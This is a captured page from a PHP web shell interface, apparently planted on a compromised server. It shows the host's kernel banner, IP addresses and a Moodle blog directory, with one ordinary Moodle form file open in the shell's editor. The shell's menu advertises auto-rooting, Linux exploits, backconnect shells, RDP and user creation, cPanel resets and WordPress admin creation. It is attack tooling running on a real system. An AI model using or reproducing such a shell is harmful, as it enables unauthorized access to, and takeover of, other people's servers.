Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.8
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blog /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
edit.php
9.53
KB
-rw-r--r--
edit_form.php
7.97
KB
-rw-r--r--
external_blog_edit.php
5.4
KB
-rw-r--r--
external_blog_edit_form.php
4.53
KB
-rw-r--r--
external_blogs.php
4.91
KB
-rw-r--r--
index.php
5.93
KB
-rw-r--r--
lib.php
50.17
KB
-rw-r--r--
locallib.php
38.28
KB
-rw-r--r--
preferences.php
3.03
KB
-rw-r--r--
preferences_form.php
1.51
KB
-rw-r--r--
renderer.php
9.38
KB
-rw-r--r--
rsslib.php
11.24
KB
-rw-r--r--
upgrade.txt
353
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : external_blog_edit_form.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Moodleform for the user interface for managing external blog links. * * @package moodlecore * @subpackage blog * @copyright 2009 Nicolas Connault * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden.'); // It must be included from a Moodle page. } require_once($CFG->libdir.'/formslib.php'); class blog_edit_external_form extends moodleform { public function definition() { global $CFG; $mform =& $this->_form; $mform->addElement('url', 'url', get_string('url', 'blog'), array('size' => 60), array('usefilepicker' => false)); $mform->setType('url', PARAM_URL); $mform->addRule('url', get_string('emptyurl', 'blog'), 'required', null, 'client'); $mform->addHelpButton('url', 'url', 'blog'); $mform->addElement('text', 'name', get_string('name', 'blog')); $mform->setType('name', PARAM_TEXT); $mform->addHelpButton('name', 'name', 'blog'); $mform->addElement('textarea', 'description', get_string('description', 'blog'), array('cols' => 50, 'rows' => 7)); $mform->addHelpButton('description', 'description', 'blog'); // To filter external blogs by their tags we do not need to check if tags in moodle are enabled. $mform->addElement('text', 'filtertags', get_string('filtertags', 'blog'), array('size' => 50)); $mform->setType('filtertags', PARAM_TAGLIST); $mform->addHelpButton('filtertags', 'filtertags', 'blog'); $mform->addElement('tags', 'autotags', get_string('autotags', 'blog'), array('itemtype' => 'blog_external', 'component' => 'core')); $mform->addHelpButton('autotags', 'autotags', 'blog'); $this->add_action_buttons(); $mform->addElement('hidden', 'id'); $mform->setType('id', PARAM_INT); $mform->setDefault('id', 0); $mform->addElement('hidden', 'returnurl'); $mform->setType('returnurl', PARAM_URL); $mform->setDefault('returnurl', 0); } /** * Additional validation includes checking URL and tags */ public function validation($data, $files) { global $CFG; $errors = parent::validation($data, $files); require_once($CFG->libdir . '/simplepie/moodle_simplepie.php'); $rss = new moodle_simplepie(); $rssfile = $rss->registry->create('File', array($data['url'])); $filetest = $rss->registry->create('Locator', array($rssfile)); if (!$filetest->is_feed($rssfile)) { $errors['url'] = get_string('feedisinvalid', 'blog'); } else { $rss->set_feed_url($data['url']); if (!$rss->init()) { $errors['url'] = get_string('emptyrssfeed', 'blog'); } } return $errors; } public function definition_after_data() { global $CFG, $COURSE; $mform =& $this->_form; $name = trim($mform->getElementValue('name')); $description = trim($mform->getElementValue('description')); $url = $mform->getElementValue('url'); if (empty($name) || empty($description)) { $rss = new moodle_simplepie($url); if (empty($name) && $rss->get_title()) { $mform->setDefault('name', $rss->get_title()); } if (empty($description) && $rss->get_description()) { $mform->setDefault('description', $rss->get_description()); } } if ($id = $mform->getElementValue('id')) { $mform->freeze('url'); if ($mform->elementExists('filtertags')) { $mform->freeze('filtertags'); } // TODO change the filtertags element to a multiple select, using the tags of the external blog // Use $rss->get_channel_tags(). } } }
Close